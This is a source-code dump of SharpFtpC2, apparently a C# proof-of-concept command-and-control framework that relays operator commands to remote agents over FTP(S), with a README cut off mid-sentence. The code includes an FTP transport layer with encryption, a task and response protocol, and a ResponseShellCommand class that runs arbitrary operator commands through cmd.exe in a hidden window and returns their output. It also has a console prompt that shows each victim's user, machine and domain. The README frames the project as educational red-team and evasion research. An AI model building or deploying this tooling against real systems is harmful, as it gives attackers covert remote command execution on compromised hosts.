host, string username, string password, bool secure) 43 | { 44 | this.FTP = new(host, username, password, secure); 45 | } 46 | 47 | protected string PackRemoteFileName(string remoteFileName, Guid session, Guid? uid, AsymEncryptionHelper? encryptionHelper) 48 | { 49 | PackedFileName packedFilename = new() 50 | { 51 | Name = remoteFileName, 52 | Session = session, 53 | Uid = uid, 54 | Signature = encryptionHelper?.GetPublicKeyFingerprint(), 55 | Version = ProtocolVersion, 56 | }; 57 | 58 | string jsonData = JsonSerializer.Serialize(packedFilename, packedFilename.GetType()); 59 | 60 | return Convert.ToBase64String(Encoding.UTF8.GetBytes(jsonData)); 61 | } 62 | 63 | protected PackedFileName? UnpackRemoteFileName(string remoteFileName) 64 | { 65 | try 66 | { 67 | string serializedClass = Encoding.UTF8.GetString(Convert.FromBase64String(remoteFileName)); 68 | 69 | return JsonSerializer.Deserialize(serializedClass); 70 | } 71 | catch 72 | { 73 | return null; 74 | } 75 | } 76 | 77 | protected bool CanProcessFile(PackedFileName packedFileName, AsymEncryptionHelper? encryptionHelper) 78 | { 79 | if (packedFileName.Version != ProtocolVersion) 80 | return false; 81 | 82 | // More clean 83 | if (!packedFileName.Signature.HasValue) 84 | return true; 85 | 86 | Guid? pubSignature = encryptionHelper?.GetPublicKeyFingerprint(); 87 | 88 | return /* !signature.HasValue || */ pubSignature == packedFileName.Signature; 89 | } 90 | 91 | public void SetupSelfEncryptionHelper(string publicKey, string privateKey) 92 | { 93 | SelfEncryptionHelper?.Dispose(); 94 | 95 | SelfEncryptionHelper = new( 96 | Convert.FromBase64String(publicKey), 97 | Convert.FromBase64String(privateKey) 98 | ); 99 | } 100 | 101 | public void SetupPeerEncryptionHelper(string publicKey) 102 | { 103 | PeerEncryptionHelper?.Dispose(); 104 | 105 | PeerEncryptionHelper = new(Convert.FromBase64String(publicKey), null); 106 | } 107 | 108 | public void UploadString(string content, string destFilePath) 109 | { 110 | content = EgressDataModifier != null ? EgressDataModifier.Invoke(content) : content; 111 | 112 | if (PeerEncryptionHelper != null) 113 | content = PeerEncryptionHelper.EncryptToJson(content); 114 | 115 | this.FTP.UploadString(content, destFilePath); 116 | } 117 | 118 | public string DownloadString(string remoteFilePath) 119 | { 120 | string content = this.FTP.DownloadString(remoteFilePath); 121 | 122 | if (SelfEncryptionHelper != null) 123 | content = Encoding.UTF8.GetString(SelfEncryptionHelper.DecryptFromJson(content)); 124 | 125 | content = IngressDataModifier != null ? IngressDataModifier.Invoke(content) : content; 126 | 127 | return content; 128 | } 129 | 130 | public List ListDirectory(string remoteDirectoryPath = "") 131 | { 132 | return this.FTP.ListDirectory(remoteDirectoryPath); 133 | } 134 | 135 | public void CreateDirectory(string remoteDirectoryPath) 136 | { 137 | this.FTP.CreateDirectory(remoteDirectoryPath); 138 | } 139 | 140 | public void DeleteFile(string remoteDirectoryPath) 141 | { 142 | this.FTP.DeleteFile(remoteDirectoryPath); 143 | } 144 | 145 | public void Dispose() 146 | { 147 | Dispose(true); 148 | GC.SuppressFinalize(this); 149 | } 150 | 151 | protected virtual void Dispose(bool disposing) 152 | { 153 | if (_disposed) 154 | return; 155 | 156 | if (disposing) 157 | { 158 | SelfEncryptionHelper?.Dispose(); 159 | PeerEncryptionHelper?.Dispose(); 160 | } 161 | 162 | _disposed = true; 163 | } 164 | } -------------------------------------------------------------------------------- /FtpC2/FtpC2/Responses/ResponseNotification.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Linq; 15 | using System.Text; 16 | using System.Threading.Tasks; 17 | 18 | namespace FtpC2.Responses 19 | { 20 | internal class ResponseNotification : ResponseWrapper 21 | { 22 | public enum NotificationKind 23 | { 24 | AgentTerminated, 25 | } 26 | 27 | public NotificationKind Kind { get; set; } 28 | 29 | public override string DisplayName() 30 | { 31 | return Kind.ToString(); 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/Responses/ResponseShellCommand.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Diagnostics; 15 | using System.Linq; 16 | using System.Text; 17 | using System.Threading.Tasks; 18 | 19 | namespace FtpC2.Responses 20 | { 21 | public class ResponseShellCommand : ResponseWrapper 22 | { 23 | public string? Command { get; set; } 24 | public byte[]? Stdout { get; set; } 25 | public byte[]? Stderr { get; set; } 26 | 27 | public override string DisplayName() 28 | { 29 | return this.Command ?? "NULL"; 30 | } 31 | 32 | public void RunShellCommand(string commandLine) 33 | { 34 | using Process process = new() 35 | { 36 | StartInfo = new ProcessStartInfo 37 | { 38 | FileName = "cmd.exe", // sh / bash etc.. (TODO: Dynamic) 39 | Arguments = "/c " + commandLine, 40 | UseShellExecute = false, 41 | RedirectStandardOutput = true, 42 | RedirectStandardError = true, 43 | CreateNoWindow = true, 44 | } 45 | }; 46 | 47 | this.Command = commandLine; 48 | 49 | process.Start(); 50 | 51 | Task stdOutputTask = process.StandardOutput.ReadToEndAsync(); 52 | Task stdErrorTask = process.StandardError.ReadToEndAsync(); 53 | 54 | if (process.WaitForExit(60 * 1000 * 10)) // 10 min threshold 55 | { 56 | this.Stdout = Encoding.UTF8.GetBytes(stdOutputTask.Result); 57 | this.Stderr = Encoding.UTF8.GetBytes(stdErrorTask.Result); 58 | } 59 | else 60 | process.Kill(); 61 | 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/Responses/ResponseWrapper.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Linq; 15 | using System.Text; 16 | using System.Threading.Tasks; 17 | 18 | namespace FtpC2.Responses 19 | { 20 | public class ResponseWrapper 21 | { 22 | public Guid TaskId { get; set; } 23 | public Guid AgentId { get; set; } 24 | public DateTime DateTime { get; set; } 25 | 26 | public string? ResponseType { get; set; } 27 | 28 | public virtual string DisplayName() { return ""; } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/SharedUtilities.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Security.Cryptography; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | 9 | internal class SharedUtilities 10 | { 11 | 12 | } 13 | 14 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/Tasks/TaskCommand.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Linq; 15 | using System.Text; 16 | using System.Threading.Tasks; 17 | 18 | namespace FtpC2.Tasks 19 | { 20 | internal class TaskCommand : TaskWrapper 21 | { 22 | public enum CommandKind 23 | { 24 | TerminateAgent, 25 | } 26 | 27 | public CommandKind Command { get; set; } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/Tasks/TaskShellCommand.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Linq; 15 | using System.Text; 16 | using System.Threading.Tasks; 17 | 18 | namespace FtpC2.Tasks 19 | { 20 | public class TaskShellCommand : TaskWrapper 21 | { 22 | public string? Command { get; set; } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/Tasks/TaskWrapper.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Linq; 15 | using System.Text; 16 | using System.Threading.Tasks; 17 | 18 | namespace FtpC2.Tasks 19 | { 20 | public class TaskWrapper 21 | { 22 | public Guid Id { get; set; } 23 | public Guid AgentId { get; set; } 24 | public string? TaskType { get; set; } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/UX.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using System; 13 | using System.Collections.Generic; 14 | using System.Data; 15 | using System.Linq; 16 | using System.Text; 17 | using System.Threading.Tasks; 18 | using FtpAgent; 19 | 20 | public static class UX 21 | { 22 | public static void DisplayBanner() 23 | { 24 | Console.WriteLine(" ^?P? "); 25 | Console.WriteLine(" ^! :Y^ ^!~ "); 26 | Console.WriteLine(" ?P :~ :~~ ~YP##^ "); 27 | Console.WriteLine(" ^#7 !G! ~5Y~ ^PP?!7B~ "); 28 | Console.WriteLine(" ^P5: ~G5: ~@Y ^J~ "); 29 | Console.WriteLine(" 7? JG^ !@7 "); 30 | Console.WriteLine(" BP !P5 "); 31 | Console.WriteLine(" ^ ^&7 :PJ^ Y! "); 32 | Console.WriteLine(" J^ 7@: !J 5& "); 33 | Console.WriteLine(" ^PJ~:BY #@^ "); 34 | Console.WriteLine(" ?BP?@Y ?@#^ "); 35 | Console.WriteLine(" G@@@5:G####BB!!#GB@J "); 36 | Console.WriteLine(" J&@@P:P&@@@@B~7@@@G: "); 37 | Console.WriteLine(" !G^^&@@G?7J5Y7?5&@@? 5J "); 38 | Console.WriteLine(" J@Y:G@@@@@@#?G&@@@@@#~!@G: "); 39 | Console.WriteLine(" ?@@J 5@@@@@@@@@@@@@@@B^!&@P "); 40 | Console.WriteLine(" G@@?^#@@@@@@@@@@@@@@@@7^&@@^ "); 41 | Console.WriteLine(" Y@&:!&&&@&#@@@@@&#@&&&Y G@B "); 42 | Console.WriteLine(" :G@!^YYJYJ?7&@@J?YJYJY!:#&~ "); 43 | Console.WriteLine(" ~ !YYJJP&^G@@^BBJJJYJ ~^ "); 44 | Console.WriteLine(" ~!:&@@@#Y7:75Y:!?B&@@@?:7 "); 45 | Console.WriteLine(" ^@&!JB#&&@#:5@#:P@@&#B5!G@? "); 46 | Console.WriteLine(" :YB#P5555J?:5BG^7J5555PB#P~ "); 47 | Console.WriteLine(" :^~~7YYYJ7:775YY?!~^: "); 48 | Console.WriteLine(" 7^Y@@@@B&@@@B:? "); 49 | Console.WriteLine(" ^Y?5#@@@@@&P?Y~ "); 50 | Console.WriteLine(" YJP?PJ5YYYY~ "); 51 | Console.WriteLine(" ~?5@?#B!7 "); 52 | Console.WriteLine(" "); 53 | Console.WriteLine(" SharpFtpC2 (PoC) - JUL 2023 "); 54 | Console.WriteLine(" "); 55 | Console.WriteLine(" If the sky were to suddenly open up, "); 56 | Console.WriteLine(" there would be no law, there would be no rule. "); 57 | Console.WriteLine(" There would only be you and your memories. "); 58 | Console.WriteLine(" ~ Donnie Darko ~ "); 59 | Console.WriteLine(" "); 60 | Console.WriteLine(" https://www.github.com/DarkCoderSc "); 61 | Console.WriteLine(" (@DarkCoderSc) "); 62 | Console.WriteLine(" "); 63 | } 64 | 65 | public static void ColorBackTicks(string message) 66 | { 67 | 68 | int lastIndex = 0; 69 | 70 | for (int i = 0; i < message.Length; i++) 71 | { 72 | if (i + 1 < message.Length && message[i] == '`' && message[i + 1] != '`') 73 | { 74 | Console.Write(message.Substring(lastIndex, i - lastIndex)); 75 | Console.ForegroundColor = ConsoleColor.Yellow; 76 | Console.Write("`"); 77 | i++; 78 | 79 | int j = message.IndexOf("`", i); 80 | Console.Write(message.Substring(i, j - i)); 81 | Console.Write("`"); 82 | Console.ResetColor(); 83 | 84 | i = j; 85 | lastIndex = i + 1; 86 | } 87 | } 88 | 89 | Console.WriteLine(message.Substring(lastIndex)); 90 | } 91 | 92 | public static void DisplayNotification(string message, char icon, ConsoleColor color) 93 | { 94 | Console.Write('['); 95 | Console.ForegroundColor = color; 96 | Console.Write(icon); 97 | Console.ResetColor(); 98 | Console.Write($"] "); 99 | 100 | ColorBackTicks(message); 101 | } 102 | 103 | public static void DisplayInfo(string message) 104 | { 105 | DisplayNotification(message, '*', ConsoleColor.DarkCyan); 106 | } 107 | 108 | public static void DisplayWarning(string message) 109 | { 110 | DisplayNotification(message, '!', ConsoleColor.Yellow); 111 | } 112 | 113 | public static void DisplayError(string message) 114 | { 115 | DisplayNotification(message, 'x', ConsoleColor.Red); 116 | } 117 | 118 | public static void DisplaySuccess(string message) 119 | { 120 | DisplayNotification(message, '+', ConsoleColor.Green); 121 | } 122 | 123 | // TODO write as an extension of DataTable 124 | public static void DisplayTableToConsole(DataTable table) 125 | { 126 | if (table.Rows.Count == 0) 127 | return; 128 | 129 | int[] columnWidths = new int[table.Columns.Count]; 130 | 131 | // Prepare Padding Information 132 | 133 | // Header 134 | for (int i = 0; i < table.Columns.Count; i++) 135 | { 136 | string columnName = table.Columns[i].ColumnName; 137 | 138 | if (columnName.Length > columnWidths[i]) 139 | columnWidths[i] = columnName.Length; 140 | } 141 | 142 | // Body 143 | for (int i = 0; i < table.Rows.Count; i++) 144 | { 145 | DataRow row = table.Rows[i]; 146 | string[] values = row.ItemArray.Cast().ToArray(); 147 | 148 | for (int n = 0; n < values.Length; n++) 149 | { 150 | if (values[n].Length > columnWidths[n]) 151 | columnWidths[n] = values[n].Length; 152 | } 153 | } 154 | 155 | // Sum of column widths + 156 | // Extra padding of two chars for each columns + 157 | // Borders between columns 158 | int headerLength = columnWidths.Sum() + (columnWidths.Length * 2) + (columnWidths.Length - 1); 159 | //var drawLine = () => Console.WriteLine("|" + new string('-', headerLength) + "|"); 160 | Action drawLine = () => Console.WriteLine("|" + new string('-', headerLength) + "|"); 161 | 162 | // Display Content 163 | 164 | drawLine(); 165 | 166 | // Header 167 | int index = 0; 168 | foreach (DataColumn column in table.Columns) 169 | { 170 | if (index == 0) 171 | Console.Write("|"); 172 | 173 | Console.Write(" "); 174 | 175 | Console.ForegroundColor = ConsoleColor.Yellow; 176 | 177 | Console.Write(column.ColumnName.PadRight(columnWidths[index++] + 1)); 178 | 179 | Console.ResetColor(); 180 | 181 | Console.Write("|"); 182 | } 183 | 184 | Console.WriteLine(); 185 | 186 | drawLine(); 187 | 188 | 189 | // Body 190 | foreach (DataRow row in table.Rows) 191 | { 192 | string[] values = row.ItemArray.Cast().ToArray(); 193 | 194 | index = 0; 195 | foreach (string value in values) 196 | { 197 | if (index == 0) 198 | Console.Write("|"); 199 | 200 | Console.Write(" "); 201 | Console.Write(value.PadRight(columnWidths[index++] + 1)); 202 | 203 | Console.Write("|"); 204 | } 205 | 206 | Console.WriteLine(); 207 | } 208 | 209 | drawLine(); 210 | } 211 | 212 | public static void DisplayControllerPrompt() 213 | { 214 | Console.ForegroundColor = ConsoleColor.Cyan; 215 | 216 | Console.Write("controller"); 217 | 218 | Console.ResetColor(); 219 | 220 | Console.Write(" > "); 221 | } 222 | 223 | public static void DisplayAgentPrompt(Agent? agent) 224 | { 225 | if (agent == null) 226 | return; 227 | 228 | Console.Write($"{agent.User}@"); 229 | Console.ForegroundColor = ConsoleColor.Green; 230 | Console.Write(agent.Computer); 231 | Console.ResetColor(); 232 | Console.Write($"({agent.Domain})["); 233 | Console.ForegroundColor = ConsoleColor.Cyan; 234 | Console.Write(agent.WorkDir); 235 | Console.ResetColor(); 236 | Console.Write("] > "); 237 | } 238 | } 239 | 240 | -------------------------------------------------------------------------------- /FtpC2/FtpC2/Utilities.cs: -------------------------------------------------------------------------------- 1 | /* 2 | * ========================================================================================= 3 | * Author: Jean-Pierre LESUEUR (@DarkCoderSc) 4 | * Email: jplesueur@phrozen.io 5 | * Website: https://www.phrozen.io 6 | * GitHub: https://github.com/DarkCoderSc 7 | * Twitter: https://twitter.com/DarkCoderSc 8 | * License: Apache-2.0 9 | * ========================================================================================= 10 | */ 11 | 12 | using Microsoft.Extensions.CommandLineUtils; 13 | using System; 14 | using System.Collections.Generic; 15 | using System.Linq; 16 | using System.Text; 17 | using System.Text.RegularExpressions; 18 | using System.Threading.Tasks; 19 | 20 | namespace FtpC2 21 | { 22 | internal class Utilities 23 | { 24 | public static void CheckIntegerArgument(CommandOption argument) 25 | { 26 | if (argument.Value() == null) 27 | throw new ArgumentNullException(argument.ValueName); 28 | 29 | if (!uint.TryParse(argument.Value(), out uint value)) 30 | throw new FormatException($"`{argument.Value()}` is not a valid positive integer value."); 31 | } 32 | 33 | public static string[] SplitEx(string value, string needle = @"\+&") 34 | { 35 | string pattern = $"([^{needle}]+)"; 36 | 37 | MatchCollection matches = Regex.Matches(value, pattern); 38 | 39 | return matches.Cast().Select(m => m.Value.Trim()).ToArray(); 40 | } 41 | 42 | public static string TimeSince(DateTime dateTime) 43 | { 44 | var timeSpan = DateTime.Now.Subtract(dateTime); 45 | if (timeSpan.TotalSeconds < 60) 46 | { 47 | return $"{timeSpan.Seconds} seconds ago"; 48 | } 49 | else if (timeSpan.TotalMinutes < 60) 50 | { 51 | return $"{timeSpan.Minutes} minutes ago"; 52 | } 53 | else if (timeSpan.TotalHours < 24) 54 | { 55 | return $"{timeSpan.Hours} hours ago"; 56 | } 57 | else if (timeSpan.TotalDays < 30) 58 | { 59 | return $"{timeSpan.Days} days ago"; 60 | } 61 | else if (timeSpan.TotalDays < 365) 62 | { 63 | return $"{timeSpan.Days / 30} months ago"; 64 | } 65 | else 66 | { 67 | return $"{timeSpan.Days / 365} years ago"; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpFtpC2 (PoC) 2 | 3 |
4 |

5 | 6 |

7 |
8 | 9 | SharpFtpC2 is a small, experimental project aimed at exploring the possibility of using FTP(S) for relaying commands and responses between two remote computers. It employs the FTP protocol as a makeshift tunnel through which the computers, both acting as clients connected to an FTP server, can communicate. A simple session management scheme is used to keep track of the exchange of requests and responses. 10 | 11 | SharpFtpC2 employs a basic session management system. Although quite elementary, it serves the purpose of keeping the communications synchronized and related, which is essential for the back-and-forth between the remote systems. 12 | 13 | It's worth noting that this project can be effortlessly ported by utilizing version control systems such as git, svn, or similar protocols. 14 | 15 | If you have an interest in the nitty-gritty of network communication, or just want to fiddle with C# and .NET Core, SharpFtpC2 might be an intriguing starting point. Don't expect a polished gem, but maybe, just maybe, you might learn something interesting from tinkering with it. 16 | 17 | *SharpFtpC2 is an experimental project created for educational exploration into utilizing FTP(S) as a communication channel between two remote computers. It's crucial to understand that the project is designed as a learning resource for individuals interested in network communication, C#, Adversary Simulation, Red Team, Malware. As the creator, I urge users not to make requests for additional functionalities or use this project for any form of weaponization or malicious intent. The core intention is educational, and users are expected to engage with the content responsibly and ethically.* 18 | 19 | --- 20 | 21 | ## The Story Behing The Project 22 | 23 | SharpFtpC2 was born out of the desire to contribute to the [Unprotect Project](https://unprotect.it), particularly its [Network Evasion](https://unprotect.it/category/network-evasion/) category. 24 | 25 | This idea of using FTP as a "tunnel" has roots that run deep. In fact, it brings back fond memories from around 2005 when I was still getting my feet wet in the programming world. Back then, I crossed paths with a remarkably creative French individual who went by the moniker **BlasterWar**. He had conceived a project named **BlasterX**, which, despite being lost to time, was rather avant-garde for its era. 26 | 27 | BlasterWar's ingenuity in his project was to provide an alternative to the conventional reverse connection, where the agent needed to establish a connection back to the controlling or hacking device. 28 | 29 | Instead, BlasterWar opted to use FTP (File Transfer Protocol) as the alternative medium and constructed a comprehensive Remote Access Tool around it. The Tool included features such as Screen Capture, Keylogging, and System Management, all transmitted through the FTP tunnel. At the time, FTP was widely popular and a plethora of websites offered free FTP servers to the public. This made it an ideal alternative to reverse or direct connections, which involved port forwarding. Moreover, it provided an added layer of obfuscation for the command and control (C2) as the IP address of the hacker's machine wasn't directly exposed. 30 | 31 | Today, utilizing FTP as a tunnel is not a novel concept, as a handful of Command and Control (C2) frameworks have embraced this protocol. However, employing FTP in this manner is fraught with risks. Notably, FTP's transmission of credentials in plain text over the network, combined with the necessity for both parties to possess these credentials, makes it susceptible to a myriad of 